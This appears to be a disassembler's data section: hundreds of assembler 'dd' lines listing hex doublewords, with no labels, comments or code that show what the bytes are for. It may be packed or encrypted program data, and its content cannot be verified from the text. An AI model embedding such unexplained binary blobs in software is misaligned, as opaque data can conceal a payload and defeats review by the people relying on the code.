		dd 0FD5C4A00h, 0F547AB8Bh, 0A3250E17h, 9F30DB0h, 0B031355Ch
		dd 384340Ah, 7A2E140h, 967533CEh, 8E29C1C8h, 6186219h
		dd 84B1BCA8h, 0F067540Eh, 7F66E0FCh, 5A11C2A4h,	0C491956Dh
		dd 41C910C1h, 0BED003Ch, 598E8074h, 4B2C19AEh, 0C2CE84CDh
		dd 2F4637B3h, 48A28B06h, 5B208C00h, 0FE9733F5h,	0B4553065h
		dd 0A8768759h, 92000771h, 8B2E58F6h, 0E8EF21h, 2CC2E5AFh
		dd 50029F5Ah, 267E897Ch, 10F83050h, 0D098D548h,	60B428CCh
		dd 5F767F22h, 40950932h, 0D5BE2810h, 3B125499h,	6CCD0462h
		dd 2C953C08h, 3D49CF33h, 12605FB8h, 3360BEE2h, 19D4A241h
		dd 80040722h, 303B15DFh, 0B5C509EEh, 0DD3B7878h, 0C3BA92EAh
		dd 0FFB95806h, 5A300239h, 41FC5ED4h, 26CEE498h,	0AFBC5304h
		dd 0E4D1A963h, 40230189h, 64BC1C4Ah, 0EBB98840h, 0A491F780h
		dd 356A8C2h, 88012602h,	4C008030h, 7A93F92Ch, 60EBB8B1h
		dd 898D31D9h, 0EC021A84h, 82F33572h, 45AE8E59h,	10C04B11h
		dd 0EA01C3h, 0AC525A37h, 5874562Ch, 0F5411B26h,	3DBA0039h
		dd 0F5642585h, 0B7A40E3Eh, 8C873709h, 4087A707h, 8FA55D17h
		dd 0A8256A18h, 4BD74418h, 0C82F05Ch, 8B7D8300h,	0A1B80D4Eh
		dd 3E7E0DC4h, 0CC51628Fh, 1106928Ah, 0F1CC4AAFh, 866D0C21h
		dd 486839B1h, 67517900h, 1BC630E8h, 42F20E0Fh, 0BBA0AC20h
		dd 0E0B86AABh, 5D6F3206h, 59708Fh, 0CC7EEEAh, 69492554h
		dd 6FCBB00Eh, 0EDC4008h, 15B99AAh, 0F34E8721h, 84D0533Dh
		dd 89E6A578h, 9576E741h, 0C415C5D5h, 621F6023h,	2170B992h
		dd 6369725h, 9FFE3C1Dh,	73FE7940h, 0BC157605h, 94414409h
		dd 0F4AF8590h, 78602080h, 0CC535B14h, 75F66504h, 22801F61h
		dd 30925713h, 76186B7h,	0E92CD37Ch, 0BA00764Dh,	6A3F5D96h
		dd 0CCA06AFh, 294B42BCh, 0BC1A852Ah, 0D412E1F0h, 9C00E9BEh
		dd 0D665D1A6h, 608BF220h, 8A0FF2FCh, 67671A86h,	712CB9B1h
		dd 95714820h, 28FB5400h, 75EF2CCBh, 49E9B63Eh, 64D48008h
		dd 24105B27h, 242BEDBBh, 8CA71DB7h, 7488A592h, 0A02B8B00h
		dd 0E1B4B1FEh, 9AD9030Bh, 4780376Fh, 0DDA42690h, 2C96DF00h
		dd 8F571B7Dh, 8091DD65h, 0DA90DCE5h, 99005BCAh,	0B1F009E6h
		dd 52598ACDh, 6A00F0CCh, 0ADDD189Eh, 0C00541Ah,	74CD02D1h
		dd 3ED4847h, 62B56CDCh,	3100668Fh, 2DB47AC1h, 4D62B93h
		dd 85535E07h, 0B744882Eh, 0A83D402Ah, 0BCD25729h, 12851A87h
		dd 0B98AE04Ah, 998098C3h, 50A9230Bh, 0D2363EC9h, 55295E83h
		dd 491E8526h, 0A8126192h, 65B47E00h, 0A2CAB3Eh,	4246E240h
		dd 0E1E300D0h, 0BC045113h, 1E87552h, 73D9D8B7h,	0B040BD71h
		dd 9897F73Dh, 3FA524BFh, 0BFC64340h, 4443100h, 51B8414Eh
		dd 2861620Dh, 0E7238D3Bh, 45E8487h, 8077CBB4h, 0AC189750h
		dd 548F6480h, 0F6B8471h, 0EB523237h, 0C99B6220h, 5F00D9AAh
		dd 9D5DE06Ch, 48FA7582h, 984370A7h, 0A9412F04h,	7AD40322h
		dd 89EDA9FDh, 0C0CA219Fh, 38D830D5h, 0E600DB06h, 0C18B2B68h
		dd 5675AB74h, 87DB877h,	0F5992485h, 2300DE91h, 631C9714h
		dd 5D0037EBh, 881910BFh, 92B9068h, 4F2A1172h, 0E2CDC381h
		dd 0A5F0848Bh, 0CC91E913h, 642659E7h, 15753905h, 79942086h
		dd 0E8194764h, 0A1D07189h, 18722FAh, 7C881446h,	0ACA8AE3Fh
		dd 0E2006221h, 0CE469435h, 29329CD3h, 806C5890h, 92487464h
		dd 7D0EDAB8h, 404C5766h, 0AC2F95FFh, 90B930C3h,	1437A551h
		dd 3C669C7h, 54298048h,	0BD2E87CEh, 0C2114891h,	28F21900h
		dd 0A3C95F0Bh, 77CCE404h
		dd 0D9EC601Dh, 2820A024h, 0BFC318D4h, 0DBD9519Ah, 7C1C0F7Fh
		dd 0B989093Ah, 7010A40Eh, 4920C122h, 0B35666h, 0EB367F8Eh
		dd 5FF4FB1Eh, 9522B416h, 0A86040Eh, 0B0111C93h,	0D28FB300h
		dd 43683FB8h, 0BE039C7Ch, 3B0819A5h, 0EC84B422h, 0E5AB20C3h
		dd 0FFCBCE80h, 0DCE10515h, 40349263h, 0F85EAC84h, 6A021870h
		dd 0BE290158h, 0F4AC8456h, 0DD4F7081h, 4B68708Bh, 0ADBA241Bh
		dd 5E2460C0h, 0C0C7B988h, 5F669699h, 75053408h,	0A5DDD065h
		dd 589259C0h, 13860E4Ch, 57895F47h, 1745E4A0h, 7B01B710h
		dd 0B41B1F6Ch, 0D4D4798Eh, 53C1E21Dh, 0E066B4F3h, 202A69B6h
		dd 8F01E042h, 0A73A8BF4h, 0B84C3D9Ah, 52291259h, 0ADCC00CEh
		dd 0FF6828FDh, 0C887E63Ah, 3841C93Ch, 263B0EB8h, 60BCBABFh
		dd 7AE4B43Ch, 0CE1B670Fh, 6BAA60DCh, 77E938Eh, 98A4A3CCh
		dd 0D090A2E6h, 3FE04C46h, 69000891h, 7ED138EEh,	5CF47C73h
		dd 0FB012764h, 5D934D8Bh, 0D7EC6129h, 2E06713Bh, 0FF00C49Fh
		dd 54BBAF89h, 0E8CE5CE7h, 0E280304Ch, 74718625h, 80237D38h
		dd 0BA57CC44h, 843241h,	97EF308Fh, 536C4E95h, 0D1110A02h
		dd 688D1287h, 0A6F06858h, 54FF49ACh, 7D2A7C80h,	9869CD8Ch
		dd 82F818C1h, 71E401C4h, 0C10D1A4Eh, 304070FCh,	44E5721Dh
		dd 4C097A43h, 0D54802BDh, 387B409Ah, 1912B848h,	44328F89h
		dd 89916A01h, 0C05EBD86h, 0F90AE027h, 0C0AC2417h, 877AD961h
		dd 383F3AE4h, 0F58E12DFh, 0B1E06926h, 0FA14521h, 91C3D500h
		dd 0CE33057Dh, 3D4B0229h, 0B46AF875h, 45B97840h, 618389C7h
		dd 0BC9E0810h, 0C8C7000Ah, 0BE7B2044h, 0B90ADFF1h, 8809735Fh
		dd 989084C9h, 7056A240h, 0DB0044EEh, 43E2EF0Dh,	4532696h
		dd 0AE958013h, 448C871Ch, 0D5AC00F4h, 0E97D3559h, 0A1AD43C0h
		dd 410CC98h, 94027628h,	878511CBh, 3F28C424h, 1580D5D4h
		dd 92562C25h, 8A49EDD8h, 0C6110054h, 6A0872F7h,	7BB0006Eh
		dd 0A59181BBh, 6317CCA4h, 4C67B839h, 235E85D2h,	25F0D150h
		dd 0FB071402h, 1C740D68h, 4AAF40A0h, 781158D0h,	7EA86F08h
		dd 408CE408h, 0ABDEF964h, 58F05E5Dh, 222F1250h,	3DE69C44h
		dd 40023C05h, 37D5A25Ch, 2A0038C8h, 0D8058722h,	307F0A3Fh
		dd 1FD18C26h, 4202F5BAh, 0B6A399D7h, 0C3DC9A76h, 6443EC20h
		dd 42E7B33Ch, 54994E82h, 8CE1893Bh, 69F800CFh, 51F4B832h
		dd 8C72B44Bh, 0B793350Eh, 3272DFC4h, 56DCC15Dh,	29856986h
		dd 0B92A3195h, 0BE0080DAh, 0C2D334E6h, 346A909h, 5BFFFECh
		dd 0C6E8F0BBh, 5C0B702Fh, 230F6CCDh, 49045DA0h,	9800744Ch
		dd 652B92D1h, 0C600153Ah, 5356D6A3h, 329F524h, 61056316h
		dd 74C8044Ch, 647CDA65h, 432C7E5Ch, 47B51588h, 8BFF257Ch
		dd 44341814h, 219C00D6h, 0B0EC499Ah, 0B0069F3h,	30FC0879h
		dd 0AFED8Fh, 4C2E2DCBh,	0AA762178h, 0A7B65840h,	0EDFF04E0h
		dd 30C491A1h, 183AF833h, 0C50A3Dh, 2A794C4Eh, 5486FFC2h
		dd 2F2C0EEh, 0D55A9791h, 0F4663775h, 95F87200h,	929C1913h
		dd 0F51E005Ch, 0C7756349h, 108ED7C6h, 2E384E18h, 8C2A82E7h
		dd 878E4A38h, 0A1B12666h, 0E96456D0h, 96D89303h, 46EC2040h
		dd 0AE02272Ch, 3D052037h, 7D988E79h, 6F6A0D80h,	50CE2A24h
		dd 401A8059h, 18E393Bh,	0F6B4BED4h, 305CEEC3h, 3D0247A8h
		dd 8F5E9816h, 0F2F448BBh, 0B6FC0410h, 0B42C415Ch, 0BB016ED8h
		dd 0ADC43096h, 6C7203C3h, 0B241A509h, 9ACA3848h, 0B8733589h
		dd 0BCA0ED15h, 0FEDD3300h, 0BB4BBDA8h, 575AF600h, 0D008ED42h
		dd 58CE09B4h, 58B041BEh, 0BC990CA5h, 499E200Ch,	503D046Eh
		dd 0C0BD21CAh, 35C043Ch, 5D2EB105h, 4EBEFD2h, 0E449B307h
		dd 9C91CC40h, 0F0F45400h, 0F7C097B2h, 86187473h, 0C859C9DBh
		dd 1C7839h, 4F28603Dh, 1CDE2376h, 7E487Ch, 0FD4E9986h
		dd 90A441D5h, 6C47D60Fh, 9E66176h, 5C7420F7h, 85550724h
		dd 20D911B9h, 0F44E05EEh, 3A9ACE11h, 3F028C0Ah,	17C40F4h
		dd 0EE010ED8h, 136FCACCh, 0F0274AADh, 8B424310h, 6984101Ah
		dd 0BF41006Dh, 725FB655h, 62052218h, 59B971F9h,	26D4C861h
		dd 40873840h, 0C8361CCFh, 0F794C048h, 0B88EFD75h, 0F62EAC09h
		dd 8F50B8C2h, 0CB1A8862h, 784C492Dh, 519D6978h,	5500D444h
		dd 0F81A3F62h, 0A26DD92Eh, 0CE43C4h, 0D6A79029h, 0D2702DBCh
		dd 0AD1E48E2h, 8D4A3DD4h, 0EC80F878h, 4737F8FCh, 4D800535h
		dd 0C0DDC063h, 0B5AD8FE0h, 72F824EFh, 48C33B40h, 0FC80B020h
		dd 0B0B83140h, 39042490h, 3EF0E5A5h, 285489h, 30EEE484h
		dd 0B980D04h, 0CE5327F9h, 3CFF5C30h, 9A81AC00h,	0BCF2DD37h
		dd 42C4A641h, 0F1B41201h, 4EBCA88Ch, 29C42209h,	2C9BB710h
		dd 0E7D08747h, 0BE9CA0A5h, 0D55DD7C7h, 436A01F8h, 21CE2434h
		dd 4E226E0h, 1269926Fh,	0C846405Ah, 3E74E322h, 0F180B1BFh
		dd 1B8963B6h, 830B4DF4h, 383F0DEFh, 40A58614h, 4D480639h
		dd 1E43C9Bh, 3396FA6Eh,	4480E6F5h, 804F3E4Ch, 0DF60851Ah
		dd 0E9D72F31h, 7EF10912h, 0F8C0BFA0h, 0E52C9D77h, 0BA02FD29h
		dd 6CD50B93h, 40D494F8h, 24F2A7A5h, 3795EA02h, 79133C0Eh
		dd 0F0690BA0h, 0FDBC800h, 54612E8Fh, 6EB37AF9h,	89F1A461h
		dd 28128511h, 49438880h, 70FB7C30h, 444D7901h, 8DE9B206h
		dd 2E8F848h, 72172E32h,	0FC66978Eh, 2B88E101h, 0CFF2467Dh
		dd 40124076h, 70742093h, 0F324FFE9h, 0F8C890D3h, 2D804E90h
		dd 7C83374Dh, 6FEDAD3Bh, 9F7E2019h, 4E9A2A0Fh, 0C6304413h
		dd 2448C9BBh, 2918865Ch, 0CE1F4C8h, 0FF3F895Bh,	66582900h
		dd 3E76ACE7h, 18A91E64h, 74EBC09Dh, 0AF557042h,	47081912h
		dd 2586A4C1h, 644A1833h, 0CE803084h, 405F7DAh, 594AF9Fh
		dd 68F2C1BEh, 0FA687071h, 21560720h, 5C2C5A43h,	0D4246824h
		dd 0D08FA6E3h, 1E21D05Dh, 40EB7EDEh, 0E5EFA33Ah, 89176949h
		dd 8070E0E3h, 9C398F13h, 4E04E26Ch, 0BC2DC870h,	7A9C115Eh
		dd 9312F30h, 40C22743h,	0DFE890C8h, 6508FC16h, 0B077BB00h
		dd 5B2AC5E9h, 70340261h, 586CE574h, 8902717Fh, 0DAAA9847h
		dd 960059E4h, 0D8E4048Dh, 70C05339h, 0A0CC501Ah, 0EFD020h
		dd 0F3AAD8CDh, 0D5ABCBC4h, 1347A600h, 419FE62Eh, 322089C6h
		dd 0E5B0108h, 51CD259h,	889AAC64h, 0DA0E682Eh, 0A74D28E8h
		dd 19C986A2h, 0F0305944h, 491BF4D4h, 20510C0h, 812DB0FCh
		dd 339A7A30h, 4BFB136Ch, 24863471h, 0B72D042Dh,	13852C10h
		dd 871381DFh, 83B1D808h, 968D0624h, 0F842A5D0h,	0BB343D00h
		dd 14C6C163h, 304F0577h, 81FC246Ch, 1231B80h, 7EE19B90h
		dd 9322E062h, 5000F070h, 462C6C1Bh, 93EDBDFh, 0DD994489h
		dd 57123CC4h, 0F0202585h, 1165EACh, 0A6CB7E2Eh,	302A32E0h
		dd 0C074E4ECh, 903CCC89h, 0C6493B88h, 40D89470h, 7D9252EEh
		dd 0A92A8B00h, 236AC2F2h, 91C0BB7Fh, 7013009Bh,	0C38E2D3Bh
		dd 3F4D077Ch, 315CC7B3h, 634EF3EFh, 0AAAD008Ch,	329F06B5h
		dd 485C4AB8h, 0D58064DCh, 9687BF51h, 311B5B13h,	7241A7E0h
		dd 9B3501ACh, 1C8D82F2h, 0DFE4FEF5h, 0CEA51F47h, 9F0BFCCAh
		dd 0E0458CE2h, 408CE192h, 26A8BBE3h, 0FC4A60C0h, 3C0326A5h
		dd 544B9BD9h, 0FFC828D0h, 862344E0h, 119F1D2Dh,	0D508886Ch
		dd 0B91E088h, 84B5C667h, 980B5C83h, 0BBDADED8h,	21608906h
		dd 9CE1BA29h, 173A09C4h, 54B8D8E3h, 3E492EA5h, 26D05E8h
		dd 549835D3h, 8865C52h
		dd 0AC5AE280h, 0D7075FA9h, 39B41726h, 950E9F0h,	8E7324FDh
		dd 4C94276Ch, 88074300h, 0DDB4CD75h, 56221E05h,	4E7D402Ch
		dd 4CE50492h, 0EDB6020Bh, 0A850C895h, 45C10052h, 353E573Ah
		dd 751762BCh, 0A4302FDAh, 888C3F39h, 3E1CD31Fh,	244027CAh
		dd 589979F9h, 5922045Dh, 0C4A135BEh, 72F4CCC4h,	2BFE2E03h
		dd 0E575BB45h, 0EBC4AC41h, 0FC60C85Ah, 0B84304B2h, 0F3E573BCh
		dd 26490134h, 12560FADh, 0F03C807Ah, 7B4CF9C2h,	0AC7FCA58h
		dd 489DB17h, 67A38038h,	7135B4B0h, 9234E900h, 0D7F8D562h
		dd 70740015h, 581631C3h, 67052B4Ch, 3CACE09Dh, 0D90DFC30h
		dd 3FC5EA51h, 8F80334Eh, 0BFE5FA87h, 13263973h,	3CCA5809h
		dd 81728561h, 0B66FBC8h, 4D3FC6FDh, 0F0DBA039h,	2E00EE1Ch
		dd 7D355ED4h, 1151F22h,	92699BA6h, 5078ECACh, 0D6D9B298h
		dd 2226838h, 724AC180h,	7086486h, 433E5478h, 7FCF301Bh
		dd 87576135h, 9D84C94h,	9085919Bh, 3199DE4h, 0C4994E27h
		dd 6CA86A12h, 680BA03Dh, 0B0B977D7h, 4AF75908h,	0A4009C1Ah
		dd 0CAF03089h, 6BDC010Bh, 81AB9EADh, 0A5C8094h,	7B75DB7Ah
		dd 0E78B0164h, 0D918737Dh, 40FC6458h, 93989254h, 0A10CBA00h
		dd 20B69781h, 84FA5415h, 425E22B7h, 2AD16400h, 4E0F03A3h
		dd 198660EDh, 572ED358h, 0A7818809h, 3068EE2Fh,	0BFE00AF8h
		dd 0F3093169h, 10962487h, 44910DF8h, 0BE889AA5h, 9E9B0042h
		dd 0C3E1CCC7h, 6704D3CAh, 13E36552h, 567378F3h,	0AD00EC47h
		dd 0DC8D3075h, 0CC2C7D10h, 0E0805CBCh, 17FCDD0Eh, 5FA21FD2h
		dd 80E84264h, 9E8A07F9h, 0EC500FD2h, 8C04DAC9h,	749404B5h
		dd 0E9E8FC0Ah, 0F4B3C419h, 0C91FBBBFh, 7A82DE6Ch, 592A2859h
		dd 61CE8084h, 9A6DFCADh, 6CA47002h, 0FBD57B29h,	393C1004h
		dd 2C38A0BCh, 8B07B07h,	201339DDh, 68A8C20h, 3B55E496h
		dd 8981E64Bh, 28440542h, 411AC8CCh, 1C4866ECh, 81CA2268h
		dd 0A47338B4h, 615F9958h, 2241CA30h, 35007008h,	0C25254B9h
		dd 1DADA50Ah, 52E88E11h, 0AEB86287h, 8E4F4820h,	1E587A8Fh
		dd 0D210D4A7h, 0AC5863A9h, 20875EE1h, 0FD883FACh, 7E8A0041h
		dd 0F3B5528Fh, 389E84B1h, 2E45241Fh, 7CF0B9EDh,	0E69D226h
		dd 9028B8h, 74C23017h, 7C6FF1CEh, 997B00D8h, 597EA6AFh
		dd 0CB164A93h, 60208609h, 3AFA920Bh, 50C968F4h,	0D4B9C083h
		dd 1804612Ah, 0FF5DD000h, 0D8B73ADDh, 0F7D4Ch, 1495B6F9h
		dd 4258AE57h, 5FC5F00h,	7077BD4Eh, 0FEC00748h, 0C02028B3h
		dd 6AC9B1C1h, 0A5550F00h, 60B9E503h, 2D4C001Ch,	18A0349Eh
		dd 4E00CDF5h, 22C5748h,	18432023h, 54DA878Ch, 0AC00504Fh
		dd 3FFE1B0Eh, 5F5862h, 0F6A8AD35h, 48228460h, 7A1CFC06h
		dd 30412BBFh, 0EC81832Fh, 0A900A06Dh, 2A04D23Bh, 1EB54522h
		dd 56D69B17h, 0B8BE011Ch, 0FC4AD8A2h, 0BD002FFCh, 24ECFD33h
		dd 2BD6C0h, 0D7DC9D6Fh,	0CAA9F30Ch, 344AE300h, 656C7644h
		dd 6DEA0017h, 9D420DBAh, 0A890C59Bh, 1816E030h,	0E057011Eh
		dd 9F0D001Dh, 0EDD806A4h, 21C0E880h, 45D6BCB9h,	7FB100C8h
		dd 389A7EFEh, 0E20C9598h, 301E3E6Fh, 6E4FE262h,	0C0E68EBh
		dd 28E0AAAEh, 25374566h, 51E2EC31h, 0F287CBEDh,	1E0BE0BAh
		dd 0C00A1087h, 0EB0D277Dh, 4779D07Ch, 8CCB5C00h, 0B44E486h
		dd 0C6B10033h, 59497DD8h, 741CFE1Ah, 2986F84h, 44BC2A80h
		dd 0F5000878h, 53F6E949h, 0E31A62Bh, 2875AA6Bh,	97A00EEFh
		dd 37508AE5h, 18F44200h, 940DAD67h, 0F32B008Ch,	15D3E134h
		dd 390059BAh, 224435E9h, 0C5E0BBEFh, 40E3DF60h,	0C9490D7Ch
		dd 0E96080E5h, 9A297DE1h, 0A3B500BEh, 3ABFD0Bh,	0F0CF6C3Bh
		dd 391CA0A5h, 3AE9187Ah, 0D38031FAh, 6C6DE3F3h,	67EA6281h
		dd 0B09DE400h, 0F0691EE8h, 11A40160h, 6463BA76h, 0EB4885B3h
		dd 0EC306662h, 61A31CACh, 1E2528AEh, 0C238D142h, 506BA2E1h
		dd 0B0FFD314h, 40C91200h, 1CA7B2E8h, 38C260A1h,	62FA33F3h
		dd 0A4C98E68h, 0BC1CA300h, 56761D5Eh, 2E06B8DFh, 0D93AF8EAh
		dd 10892618h, 0A8D5EF39h, 3F15E4C4h, 4A80D90Eh,	77A74B5Ah
		dd 3F00904Eh, 41600F95h, 52E33C0Ah, 182E90EFh, 0F65D00A9h
		dd 0F3685591h, 891E7500h, 799E31Ah, 0B9640F0Ah,	1122617Dh
		dd 40A43E91h, 277D22E8h, 0AE5DD04Ah, 0F10EE3F4h, 86D56170h
		dd 30F071D8h, 0E72987EFh, 0F4005326h, 0E58B8052h, 0AAA72Fh
		dd 0C9B3ADE4h, 11982837h, 95CA8F09h, 0BAC05B6h,	9985F400h
		dd 60EF74DEh, 0E8888925h, 3A0FB3C2h, 0A0B0D62Bh, 0C0D04D37h
		dd 74B948BCh, 33B9400h,	0FDF008F4h, 798F6F09h, 0D4A00AE7h
		dd 98A48C62h, 1D1F29E8h, 80914342h, 6AF302D7h, 49266C3h
		dd 8524CE00h, 0BC4DB247h, 9C47856h, 7434109Ch, 5480E832h
		dd 0A667AA97h, 15D4F009h, 0B06432ECh, 1D51928h,	6FCFDF12h
		dd 90E6AFBBh, 8803A20h,	0AAC30C0Ah, 198FA0A8h, 73C7B205h
		dd 38C088ACh, 0E062402h, 90121BFDh, 0B0511A41h,	66F820CDh
		dd 576FF314h, 636450A4h, 991DB244h, 0B972000Ch,	0F71FA9BEh
		dd 68CCA026h, 1D0C2640h, 92810047h, 25996E74h, 0E03CFBAh
		dd 57CEB2F1h, 64DCFC75h, 0AB6B880Fh, 7D5258h, 9F7A8C56h
		dd 292013FFh, 81ECCB68h, 0C3338E16h, 94B050A5h,	0CF0073C1h
		dd 27CE1FE3h, 8F097Dh, 6B30F33Fh, 0D1B89F6h, 1580FA18h
		dd 479F69h, 3BC2B3AEh, 91EF48Dh, 672A7098h, 1D48987Ah
		dd 0A0AF8E18h, 0FE702EB3h, 8F4600DDh, 0FFEAF0F2h, 3648D59Fh
		dd 54EC10C0h, 818EF311h, 0A6927D1Bh, 1D20C70h, 14BB4315h
		dd 221DC051h, 0F82D008Ch, 0A6F6268Dh, 0C2CC00ABh, 84EB1B48h
		dd 1A029396h, 0E811A242h, 107431D6h, 10806h, 0A0E3C88Ah
		dd 653CC788h, 225B050Fh, 0C36400EBh, 9B1F6178h,	7D1A0324h
		dd 82AAD9Ah, 0EB09E8A3h, 0A60BAAE6h, 4CD81F88h,	1BF12CF0h
		dd 390BC7EEh, 807A9CF2h, 5B5F5702h, 95920079h, 0F4640B33h
		dd 8309900Ah, 0A1EDE2EAh, 15569670h, 0D75BD0h, 1E0FDE4Ch
		dd 0D85D3560h, 18C1C37Fh, 0D6AAF014h, 71C70DD0h, 29683D0Fh
		dd 78A4A00h, 77DB319Bh,	0DA826300h, 2FFBA617h, 49CC1881h
		dd 0F56F4190h, 733D4B00h, 0F76923B2h, 16A81845h, 29FF2147h
		dd 0CA9CCE01h, 406B60AAh, 0A944ECh, 8B4EEAD0h, 0C159D533h
		dd 0A046100h, 0A61CF642h, 684360FDh, 3F95DB83h,	0B200DAE2h
		dd 0DFCB09BEh, 3EFB455Eh, 0B69CD75Ah, 0E87B4151h, 0C4372BF9h
		dd 9C056C63h, 44BB8160h, 18E14086h, 393A4C96h, 5E6F2347h
		dd 4B4681A0h, 70BE9C32h, 0CEB92937h, 1C163C5h, 242F8F6h
		dd 304980B2h, 0EA395B9Ah, 9E700F9h, 0E0C77124h,	0BD30D86Ah
		dd 0F41460FAh, 0E8AC0F7Ah, 0BA0DEB8Ah, 7BD2F079h, 0E0DF0C4h
		dd 2C33DB07h, 6F0E5B58h, 830CA67Fh, 1B547B6Bh, 214F9689h
		dd 0DF69A1C0h, 0E45C3E28h, 89759802h, 8F380421h, 36C54090h
		dd 0A0B6D82Eh, 0A445E044h, 264270h, 89E8B843h, 0C036397Ah
		dd 2A981CA1h, 4C016834h, 0DA4317D9h, 844C557Bh,	5B11F390h
		dd 95FDD02Fh, 80345548h, 0CDDF2238h, 5D0B0C0Fh,	9859683Ah
		dd 561E48h, 661286ADh, 96A772h,	3D62B90Ch, 46D042FCh, 911A76B8h
		dd 980C48B5h, 3CA3B758h, 0CE1213B4h, 78920C0Eh,	6B603A18h
		dd 36CADE61h, 0AA113A2Dh, 0C6683300h, 7129561h,	64A84639h
		dd 7122D998h, 96C8E420h, 23D2005Fh, 86B70717h, 0F307B0E0h
		dd 29F9FF4Dh
		dd 33A7E60h, 0F0530227h, 39ECA98Eh, 0D5B26C80h,	3A00C01Ch
		dd 0F14BE8DAh, 0EDF16AAh, 3E8D7276h, 80B806CAh,	6FC12751h
		dd 9B0AF1B3h, 0FC219075h, 73C3A43h, 79EB6B51h, 169DA12Dh
		dd 0C8344062h, 4100A854h, 4E56555Dh, 32EB16Dh, 0A9B414BAh
		dd 9C9C8F53h, 0C490F258h, 68A6D7B0h, 3DC15704h,	98080A0Eh
		dd 737CCC80h, 98674737h, 5DC00576h, 60B0841Eh, 0DF7ACED0h
		dd 0F0D2AC00h, 0D7229DB1h, 8E1700FFh, 2611F62Ch, 203AB497h
		dd 2E130134h, 0E59A152Dh, 0EB0F4h, 0B867CDE3h, 3EF044C3h
		dd 0F103FDF2h, 0C0CA569Eh, 59411214h, 33D80048h, 0B4A6B0B6h
		dd 1B5F4C02h, 837E6DE2h, 26D8A9E7h, 39031160h, 882F3CD0h
		dd 0C10046BCh, 0B668338h, 89BFECh, 0F3BD33A6h, 13EFE2DCh
		dd 394CC030h, 329CB6h, 2EA1549Ah, 0B382422Fh, 91C6C807h
		dd 7C904A43h, 6111B4Bh,	0B49523D6h, 5A006928h, 0E768E6F1h
		dd 0EFA6B9h, 7A9F4AEBh,	0B52CCA57h, 4ADF84A4h, 1C3F3A80h
		dd 77B9E366h, 0D1AF0F9Dh, 88805187h, 0CC470419h, 6C1BD90Ch
		dd 0C339812h, 135FDF18h, 4CE93CA9h, 9130DE98h, 0FA71612Bh
		dd 0F8EA48h, 0A48FCF06h, 237610D1h, 0F59141Eh, 5AB4E607h
		dd 0A2F874B0h, 0DD3E30E0h, 19B5F059h, 14587F07h, 0AF4EF39Ch
		dd 3CDC017h, 1EC47A8h, 0F7CA27AAh, 70F3B739h, 8A0A7040h
		dd 0C849AC1Bh, 0DA152A26h, 0CC7900C8h, 6B446F59h, 0C2D83038h
		dd 6591EC6Ah, 0BC30FD07h, 0AD378D29h, 2DFBA400h, 0CF8B7AF7h
		dd 6F01BEC9h, 0C820FCDBh, 19CFA012h, 3A280011h,	3DD8DAB7h
		dd 0CE168DB2h, 0F91B01A7h, 81831C19h, 9B24D929h, 15C0C6F4h
		dd 7B930FCDh, 0C03E906Ch, 0ADDC46CBh, 0E1671C0Fh, 83D1C331h
		dd 6A709633h, 638B06BEh, 5880EAC0h, 9352711Ch, 0F52E4640h
		dd 0A4D26BE4h, 5E9544A0h, 74C85F00h, 47B076D7h,	98A4F0h
		dd 0DC68E89Ch, 55133EBBh, 6C60C078h, 27144758h,	0AC973D43h
		dd 8F5F4E8Fh, 8FF44BEAh, 2360A156h, 53ED45B0h, 2CB14703h
		dd 0B08C6FF1h, 270D56Eh, 0DB388DAAh, 0C4EAD55h,	0C200D349h
		dd 0A30795DEh, 0E51CA4h, 633DAFF9h, 8D1A096Ah, 0C65D639h
		dd 0E1D0C762h, 0C060190Eh, 582CB138h, 700CDAF8h, 0B11E22E1h
		dd 36D60C12h, 78116EBFh, 15608C07h, 33A229E5h, 71A54DEh
		dd 90523FE8h, 0C7443A08h, 0E6BD3802h, 0C0883D2Fh, 72179C23h
		dd 497D61DFh, 80CC0833h, 0B7BF9BB1h, 7C38D42Fh,	19E46FDDh
		dd 0BC6AD000h, 503506Dh, 0CB2EFC98h, 465480B7h,	8C110997h
		dd 1CAF4548h, 5942CD88h, 0A933271Dh, 82C030B3h,	3400584Dh
		dd 93CF3611h, 148632A4h, 0D4372364h, 0B02396CEh, 890C399h
		dd 0BAEA6F8Ch, 0CE342100h, 0E2E91EAFh, 89947h, 0E688A4D6h
		dd 0A712A0F6h, 2043E72Bh, 0E8A248D3h, 0F85F3DAh, 84B005F4h
		dd 0D51BC803h, 1E7498ACh, 39DDE1B8h, 93379909h,	4C64D200h
		dd 0D8C0D45Ch, 3C6E3F0Ah, 12A70284h, 80A3CAABh,	0C08D6A06h
		dd 34B4F88Dh, 1FF949C7h, 0C4E0B680h, 6EF0A1h, 1E263022h
		dd 0F38E5168h, 7597DB12h, 81B87408h, 8BAC58CCh,	693820B5h
		dd 9010C02Ah, 0C4A64A07h, 0C9379AB3h, 669D9300h, 0C9604CD4h
		dd 0C2A1EA03h, 0DBA1CEE9h, 2374D82Fh, 70452C90h, 20270042h
		dd 96FF7CC5h, 0FAC16702h, 6618E179h, 47A30A8Ch,	16B4668Dh
		dd 7B0820C0h, 0C00C736h, 0E8592B85h, 0E680909Bh, 63AE0CACh
		dd 2294DBFh, 0DFDC7400h, 3E451752h, 0BC640009h,	0E1041BFAh
		dd 0B17C945Bh, 18C2CE0Fh, 0DA796561h, 203D0492h, 3CC4B86Eh
		dd 0F6781600h, 68580637h, 408B310h, 88AF132Eh, 5D49DF68h
		dd 3EAC8040h, 0A8B2610Fh, 89BC4Ch, 8CC97627h, 0A7B9D780h
		dd 48757000h, 20C705D0h, 101049E4h, 0FCC37180h,	0FFCF89Ch
		dd 9921450Ah, 0D3E090AFh, 0E13E0A1h, 0AEADC25h,	89287187h
		dd 994FF800h, 8E1A07h, 0BDB470D2h, 91482282h, 0E2004091h
		dd 643F09FFh, 559009AEh, 30900F33h, 4F00545Bh, 3F44ADE4h
		dd 0D5EFA1h, 0F5201A87h, 0F8C721E5h, 885CBB4Dh,	0EB2BC3CCh
		dd 54856900h, 365EA5F7h, 5ADA00ADh, 73539BBh, 9F006F0Dh
		dd 95229496h, 910FC2CDh, 80309F0h, 9234BB84h, 0E1211AE0h
		dd 0BB12145Fh, 84A6D04Eh, 0EAC27D00h, 0B6A6A19Ch, 694B0074h
		dd 87601216h, 0AC002CAFh, 891CD977h, 18083D20h,	0B1DF2B26h
		dd 9F016B19h, 6109B4BEh, 5466D4CEh, 2C2C7922h, 0DE010ECCh
		dd 216001DBh, 75F98D4h,	572462A1h, 641019BFh, 3600CDD7h
		dd 941ADBD9h, 55A7C54h,	725FE399h, 1E5898E6h, 96ECB558h
